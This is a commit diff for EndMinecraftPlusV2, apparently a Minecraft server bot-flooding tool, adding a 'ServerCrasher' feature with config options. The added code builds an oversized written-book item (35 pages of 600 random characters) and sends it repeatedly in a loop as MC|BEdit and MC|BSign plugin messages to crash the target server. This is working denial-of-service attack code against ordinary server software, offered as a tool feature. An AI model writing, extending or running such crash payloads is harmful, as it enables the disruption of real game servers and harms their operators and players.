计划加入ServerCrasher

This commit is contained in:
SerendipityR 2022-10-06 18:02:12 +08:00 committed by GitHub
parent 0818de9d01
commit b4869f33a8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 77 additions and 3 deletions

View File

@ -8,8 +8,8 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs;
public class EndMinecraftPlusV2 {
public static String ver = "1.4.3";
public static Integer CfgVer = 5;
public static String ver = "1.4.4";
public static Integer CfgVer = 6;
public static Boolean isLinux = false;
public static void main(String[] args) {

View File

@ -56,6 +56,9 @@ public class ConfigUtil {
public static File CACLoadedMods;
public static Boolean RandomMAC;
public static Boolean ShowServerMessages;
public static Boolean ServerCrasher;
public static Integer ServerCrasherMode;
public static Long ServerCrasherPacketDelay;
public void loadConfig() {
try {
@ -146,6 +149,9 @@ public class ConfigUtil {
}
RandomMAC = config.getBoolean("AdvancedSettings.MACChecker.RandomMAC");
ServerCrasher = config.getBoolean("AdvancedSettings.ServerCrasher.Enable");
ServerCrasherMode = config.getInt("AdvancedSettings.ServerCrasher.Mode");
ServerCrasherPacketDelay = config.getLong("AdvancedSettings.ServerCrasher.PacketDelay");
checkSRV();

View File

@ -9,6 +9,7 @@ import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.CatAntiCheat
import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
import io.netty.util.internal.ConcurrentSet;
import org.spacehq.mc.protocol.MinecraftProtocol;
import org.spacehq.mc.protocol.data.game.ItemStack;
import org.spacehq.mc.protocol.data.message.Message;
import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
@ -18,6 +19,11 @@ import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket;
import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
import org.spacehq.opennbt.NBTIO;
import org.spacehq.opennbt.tag.builtin.CompoundTag;
import org.spacehq.opennbt.tag.builtin.ListTag;
import org.spacehq.opennbt.tag.builtin.StringTag;
import org.spacehq.opennbt.tag.builtin.Tag;
import org.spacehq.packetlib.Client;
import org.spacehq.packetlib.Session;
import org.spacehq.packetlib.event.session.*;
@ -26,6 +32,7 @@ import org.spacehq.packetlib.packet.Packet;
import org.spacehq.packetlib.tcp.TcpSessionFactory;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.OutputStream;
import java.net.InetSocketAddress;
@ -99,6 +106,41 @@ public class BotAttack extends IAttack {
}).start();
}
}
if (ConfigUtil.ServerCrasher && !c.getSession().hasFlag("crasher")) {
c.getSession().setFlag("crasher", true);
switch (ConfigUtil.ServerCrasherMode) {
case 1:
new Thread(() -> {
LogUtil.doLog(0, "[" + clientName.get(c) + "] 开始发送Crash Packet...", "ServerCrasher");
while (true) {
try {
ItemStack crashBook = getCrashBook();
ByteArrayOutputStream buf = new ByteArrayOutputStream();
StreamNetOutput out = new StreamNetOutput(buf);
out.writeShort(crashBook.getId());
out.writeByte(crashBook.getAmount());
out.writeShort(crashBook.getData());
NBTIO.writeTag(new DataOutputStream(buf), crashBook.getNBT());
byte[] crashData = buf.toByteArray();
c.getSession().send(new ClientPluginMessagePacket("MC|BEdit", crashData));
c.getSession().send(new ClientPluginMessagePacket("MC|BSign", crashData));
Thread.sleep(ConfigUtil.ServerCrasherPacketDelay);
} catch (Exception ignored) {}
}
}).start();
break;
default:
}
}
} else if (c.getSession().hasFlag("join")) {
if (ConfigUtil.RegisterAndLogin) {
for (String cmd:ConfigUtil.RegisterCommands) {
@ -471,4 +513,23 @@ public class BotAttack extends IAttack {
}
}
}
public static ItemStack getCrashBook() {
ItemStack crashBook = null;
CompoundTag nbtTag = new CompoundTag("crashBook");
List<Tag> pageList = new ArrayList<>();
// Plain Mode
nbtTag.put(new StringTag("author", OtherUtils.getRandomString(20, 20)));
nbtTag.put(new StringTag("title", OtherUtils.getRandomString(20, 20)));
for (int a = 0; a < 35; a++) {
pageList.add(new StringTag("", OtherUtils.getRandomString(600, 600)));
}
nbtTag.put(new ListTag("pages", pageList));
crashBook = new ItemStack(386, 1, 0, nbtTag);
return crashBook;
}
}

View File

@ -3,7 +3,7 @@
# Forked by SerendipityR #
##############################
CfgVer: 5
CfgVer: 6
AttackSettings:
Address: "example.com"
@ -45,6 +45,13 @@ AdvancedSettings:
# MAC|Check欺骗
MACChecker:
RandomMAC: false
# 发 包 崩 服
# 来自FDPClient的魔法道具~
ServerCrasher:
Enable: false
# 1 - Book (BSign/BEdit)
Mode: 1
PacketDelay: 100
BotSettings:
# 可用占位符: